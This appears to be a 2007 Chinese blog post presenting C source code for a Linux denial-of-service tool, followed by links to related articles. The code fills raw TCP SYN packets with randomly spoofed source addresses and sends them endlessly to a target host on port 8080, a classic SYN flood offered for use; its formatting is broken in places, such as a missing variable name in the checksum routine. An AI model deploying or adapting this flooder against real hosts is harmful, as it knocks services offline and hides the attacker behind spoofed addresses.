Linux DOS Program.Linux下DOS程序.

原创 2007年09月21日 17:48:00
Linux下DOS攻击程序,顺带校验和函数.自填充原始套接字需,root权限. 
/***********DOS.c********************/
#include 
<sys/socket.h>
#include 
<netinet/in.h>
#include 
<netinet/ip.h>
#include 
<netinet/tcp.h>
#include 
<arpa/inet.h>
#include 
<stdlib.h>
#include 
<errno.h>
#include 
<unistd.h>
#include 
<stdio.h>
#include 
<netdb.h>
#include 
<string.h>

// 要攻击的端口(WEB)
#define DESTPORT 8080
#define LOCALPORT 8888

void send_tcp(int sockfd,struct sockaddr_in *addr);

unsigned 
short check_sum(unsigned short *addr,int len);

int main(int argc,char **argv) {
    
int sockfd;
    
struct sockaddr_in addr;
    
struct hostent *host;
    
int on = 1;
    
if(argc != 2{
        fprintf(stderr,
"Usage:%s hostnamena",argv[0]);
        exit(
1);
    }

    bzero(
&addr,sizeof(struct sockaddr_in));
    addr.sin_family 
= AF_INET;
    addr.sin_port 
= htons(DESTPORT);
    
if(inet_aton(argv[1],&addr.sin_addr) == 0{
        host 
= gethostbyname(argv[1]);
        
if(host == NULL) {
            fprintf(stderr,
"HostName Error:%sna",
                strerror(h_errno));
            exit(
1);
        }

        addr.sin_addr 
= *(struct in_addr *)(host -> h_addr);
    }


    
// 使用 IPPROTO_TCP 创建一个 TCP 的原始套接字
    sockfd =  socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
    
if(sockfd < 0{
        fprintf(stderr,
"Socket Error:%s",strerror(errno));
        exit(
1);
    }


    
// 设置 IP 数据包格式,告诉系统内核模块IP数据包由我们自己来填写
    setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));
    
// 只有超级用户才能使用原始套接字
    setuid(getpid());
    
// 发送炸弹
    send_tcp(sockfd,&addr);
    exit(
0);
}


// 发送炸弹的实现
void send_tcp(int sockfd,struct sockaddr_in *addr) {
    
// 放置数据包
    char buffer[100];
    
struct ip *ip;
    
struct tcphdr *tcp;
    
int head_len;

    
// 数据包没有任何内容,所以长度就是两个结构的长度
    head_len = sizeof(struct ip) + sizeof(struct tcphdr);
    bzero(buffer,
100);
    
// 填充数据包的头部
    ip = (struct ip *)buffer;
    ip 
-> ip_v = IPVERSION;// IP 版本
    ip -> ip_hl = sizeof(struct ip) >> 2;// IP 数据包头部长度
    ip -> ip_tos = 0;// 服务类型
    ip -> ip_len = htons(head_len);// 数据包长度
    ip -> ip_id = 0;// 让系统填写 ip_id
    ip -> ip_off = 0;// 同样让系统填写
    ip -> ip_ttl = MAXTTL;// 最长 TTL 时间255
    ip -> ip_p = IPPROTO_TCP;// 发送的是 TCP 包
    ip -> ip_sum = 0;// 让系统做校验和
    ip -> ip_dst = addr -> sin_addr; // 目的IP,攻击对像
    
// 开始填充 TCP 数据包
    tcp = (struct tcphdr *)(buffer + sizeof(struct ip));
    tcp 
-> source = htons(LOCALPORT);
    tcp 
-> dest = addr -> sin_port;// 目的端口
    tcp -> seq = random();
    tcp 
-> ack_seq = 0;
    tcp 
-> doff = 5;
    tcp 
-> syn = 1// 建立连接
    tcp -> check = 0;

    
// 填充完毕,开始攻击
    while(1{
        
// 用随机数隐藏IP
        ip -> ip_src.s_addr = random();
        
// 自己校验头部,可有可无的头部
        tcp -> check = check_sum((unsigned short *)tcp,
            
sizeof(struct tcphdr));
        sendto(sockfd,buffer,head_len,
0,(struct sockaddr *)addr,
            
sizeof(struct sockaddr_in));
    }

}


// 首部校验和算法
unsigned short check_sum(unsigned short *addr,int len) {
    register 
int nleft = len;
    register 
int sum = 0;
    register unsigned 
short *= addr;
    
short answer = 0;
    
    
while(nleft > 1{
        sum 
+= *w++;
        nleft 
-= sizeof(short);// short 为16位,而 char 为8位
    }


    
if(nleft == 1{
        
*(unsigned char *)(&answer) = *(unsigned char *)w;
        sum 
+= answer;
    }


    sum 
= (sum >> 16+ (sum & 0xffff);// 将进位加到尾部
    sum += (sum >> 16);// 再将进位加到尾部
    answer = ~sum;
    
return(answer);
}
版权声明:本文为博主原创文章,未经博主允许不得转载。

相关文章推荐

linux下dos转unix

  • 2014-01-01 09:12
  • 66KB
  • 下载

DOS和linux下编程

  • 2010-07-03 14:25
  • 8.61MB
  • 下载

关于windows下的dos和linux下的shell

首先,申明一下.今天恶搞的那一句的程序并无恶意.只是简单想给大家在工作之余一个小小的休息的空隙而已.搞搞别生气,恶搞无恶意.             在今天学linux的教程中,学到she...

Linux下dos2unix工具

  • 2015-11-29 15:32
  • 53KB
  • 下载

Linux下的文本dos格式转Unix格式,去除^M符号

问:我在Windows中通过FTP传一个文本文件到Linux中,但是打开文本文件后每行最后都有^M的标志。由于很长,用编辑器去除太麻烦,有什么解决办法呢?答:为了解决这个问题,Linux下专门有两个工...

windows下DOS命令(BAT原理)与Linux shell

1、windows下BAT批处理的工作原理就是一次处理多条DOS命令,其效果和在DOS下依次执行各条命令相同;BAT文件其实就是文本文件,用任意文本编辑器均可打开。 2、DOS命令常用的有86条(在D...

Linux与dos的文本格式区别

Linux命令之dos2unix - 将DOS格式文本文件转换成UNIX格式 用途说明 dos2unix命令用来将DOS格式的文本文件转换成UNIX格式的(DOS/MAC to UNIX ...

DOS/Windows和Linux/Unix间的文件处理

第一,如何进行文件转换: DOS/Windows和Linux/Unix的文件换行回车格式不同,基于 DOS/Windows 的文本文件在每一行末尾有一个 CR(回车)和 LF(换行),而 UNIX ...

DOS和Linux常用命令的对比

参照学习表 DOS和Linux常用命令的对比   许多在 shell 提示下键入的 Linux 命令都与你在 DOS 下键入的命令相似。事实上,某些命令完全相同。   本附录提供了 Wind...

命令行收集(DOS/Linux/nc/xscan/xsniffer)

#1 一: net use //ip/ipc$ " " /user:" " 建立IPC空链接 net use //ip/ipc$ "密码" /user:"用户名" 建立IPC非空链接 ne...
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:深度学习:神经网络中的前向传播和反向传播算法推导
举报原因:
原因补充:

(最多只允许输入30个字)